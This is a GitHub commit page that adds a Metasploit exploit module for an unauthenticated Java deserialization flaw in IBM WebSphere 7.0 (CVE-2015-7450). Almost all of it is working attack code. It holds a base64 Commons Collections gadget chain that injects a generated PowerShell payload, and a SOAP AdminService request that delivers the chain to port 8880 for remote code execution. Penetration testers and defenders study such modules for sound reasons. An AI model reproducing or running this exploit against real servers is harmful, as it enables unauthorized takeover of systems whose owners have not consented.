Skip to content

Commit e96013c

Browse files
wwebb-r7wwebb-r7
committed
Land rapid7#7781, IBM Websphere Java Deserialization RCE
2 parents 1736332 + 78ff7a8 commit e96013c

File tree

1 file changed

+119
-0
lines changed

1 file changed

+119
-0
lines changed

‎modules/exploits/windows/misc/ibm_websphere_java_deserialize.rb

Lines changed: 119 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,119 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class MetasploitModule < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::Powershell
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => "IBM WebSphere RCE Java Deserialization Vulnerability",
17+
'Description' => %q{
18+
This module exploits a vulnerability in IBM's WebSphere Application Server. An unsafe deserialization
19+
call of unauthenticated Java objects exists to the Apache Commons Collections (ACC) library, which allows
20+
remote arbitrary code execution. Authentication is not required in order to exploit this vulnerability.
21+
},
22+
'License' => MSF_LICENSE,
23+
'Author' =>
24+
[
25+
'Liatsis Fotios @liatsisfotios' # Metasploit Module
26+
27+
# Thanks for helping me:
28+
# # # # # # # # # # # #
29+
30+
# Kyprianos Vasilopoulos @kavasilo # Implemented and reviewed - Metasploit module
31+
# Dimitriadis Alexios @AlxDm_ # Assistance and code check
32+
# Kotsiopoulos Panagiotis # Guidance about Size and Buffer implementation
33+
],
34+
'References' =>
35+
[
36+
['CVE', '2015-7450'],
37+
['URL', 'https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections1.java'],
38+
['URL', 'http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability'],
39+
['URL', 'https://www.tenable.com/plugins/index.php?view=single&id=87171']
40+
],
41+
'Platform' => 'win',
42+
'Targets' =>
43+
[
44+
[ 'IBM WebSphere 7.0.0.0', {} ]
45+
],
46+
'DisclosureDate' => "Nov 6 2015",
47+
'DefaultTarget' => 0,
48+
'DefaultOptions' => {
49+
'SSL' => true,
50+
'WfsDelay' => 20
51+
}))
52+
53+
register_options([
54+
OptString.new('TARGETURI', [true, 'The base IBM\'s WebSphere SOAP path', '/']),
55+
Opt::RPORT('8880')
56+
], self.class)
57+
end
58+
59+
60+
def exploit
61+
# Decode - Generate - Set Payload / Send SOAP Request
62+
soap_request(set_payload)
63+
end
64+
65+
def set_payload
66+
# CommonCollections1 Serialized Streams
67+
ccs_start = "rO0ABXNyADJzdW4ucmVmbGVjdC5hbm5vdGF0aW9uLkFubm90YXRpb25JbnZvY2F0aW9uSGFuZGxlclXK9Q8Vy36lAgACTAAMbWVtYmVyVmFsdWVzdAAPTGphdmEvdXRpbC9NYXA7TAAEdHlwZXQAEUxqYXZhL2xhbmcvQ2xhc3M7eHBzfQAAAAEADWphdmEudXRpbC5NYXB4cgAXamF2YS5sYW5nLnJlZmxlY3QuUHJveHnhJ9ogzBBDywIAAUwAAWh0ACVMamF2YS9sYW5nL3JlZmxlY3QvSW52b2NhdGlvbkhhbmRsZXI7eHBzcQB+AABzcgAqb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLm1hcC5MYXp5TWFwbuWUgp55EJQDAAFMAAdmYWN0b3J5dAAsTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ2hhaW5lZFRyYW5zZm9ybWVyMMeX7Ch6lwQCAAFbAA1pVHJhbnNmb3JtZXJzdAAtW0xvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHB1cgAtW0xvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuVHJhbnNmb3JtZXI7vVYq8dg0GJkCAAB4cAAAAAVzcgA7b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNvbnN0YW50VHJhbnNmb3JtZXJYdpARQQKxlAIAAUwACWlDb25zdGFudHQAEkxqYXZhL2xhbmcvT2JqZWN0O3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh+j/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AHgAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+AB5zcQB+ABZ1cQB+ABsAAAACcHVxAH4AGwAAAAB0AAZpbnZva2V1cQB+AB4AAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAbc3EAfgAWdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQ="
68+
ccs_end = "dAAEZXhlY3VxAH4AHgAAAAFxAH4AI3NxAH4AEXNyABFqYXZhLmxhbmcuSW50ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNob2xkeHA/QAAAAAAAEHcIAAAAEAAAAAB4eHZyABJqYXZhLmxhbmcuT3ZlcnJpZGUAAAAAAAAAAAAAAHhwcQB+ADo="
69+
70+
# Generate Payload
71+
payload_exec = invoke_ccs(ccs_start) + gen_payload + invoke_ccs(ccs_end)
72+
payload_exec = Rex::Text.encode_base64(payload_exec)
73+
end
74+
75+
def invoke_ccs(serialized_stream)
76+
# Decode Serialized Streams
77+
serialized_stream = Rex::Text.decode_base64(serialized_stream)
78+
end
79+
80+
def gen_payload
81+
# Staging Native Payload
82+
exec_cmd = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
83+
exec_cmd = exec_cmd.gsub("%COMSPEC% /b /c start /b /min ", "")
84+
85+
# Size up RCE - Buffer
86+
cmd_lng = exec_cmd.length
87+
lng2str = "0" + cmd_lng.to_s(16)
88+
buff = [lng2str].pack("H*")
89+
90+
rce_pld = buff + exec_cmd
91+
end
92+
93+
def soap_request(inject_payload)
94+
# SOAP Request
95+
req = "<?xml version='1.0' encoding='UTF-8'?>" + "\r\n"
96+
req += "<SOAP-ENV:Envelope xmlns:SOAP-ENV=\"http://schemas.xmlsoap.org/soap/envelope/\" xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\">" + "\r\n"
97+
req += "<SOAP-ENV:Header xmlns:ns0=\"admin\" ns0:WASRemoteRuntimeVersion=\"7.0.0.0\" ns0:JMXMessageVersion=\"1.0.0\" ns0:SecurityEnabled=\"true\" ns0:JMXVersion=\"1.2.0\">" + "\r\n"
98+
req += "<LoginMethod>BasicAuth</LoginMethod>" + "\r\n"
99+
req += "</SOAP-ENV:Header>" + "\r\n"
100+
req += "<SOAP-ENV:Body>" + "\r\n"
101+
req += "<ns1:getAttribute xmlns:ns1=\"urn:AdminService\" SOAP-ENV:encodingStyle=\"http://schemas.xmlsoap.org/soap/encoding/\">" + "\r\n"
102+
req += "<objectname xsi:type=\"ns1:javax.management.ObjectName\">" + inject_payload + "</objectname>" + "\r\n"
103+
req += "<attribute xsi:type=\"xsd:string\">ringBufferSize</attribute>" + "\r\n"
104+
req += "</ns1:getAttribute>" + "\r\n"
105+
req += "</SOAP-ENV:Body>" + "\r\n"
106+
req += "</SOAP-ENV:Envelope>" + "\r\n"
107+
108+
uri = target_uri.path
109+
110+
res = send_request_raw({
111+
'method' => 'POST',
112+
'version' => '1.1',
113+
'raw_headers' => "Content-Type: text/xml; charset=utf-8" + "\r\n" + "SOAPAction: \"urn:AdminService\"" + "\r\n",
114+
'uri' => normalize_uri(uri),
115+
'data' => req
116+
})
117+
end
118+
119+
end

0 commit comments

Comments
 (0)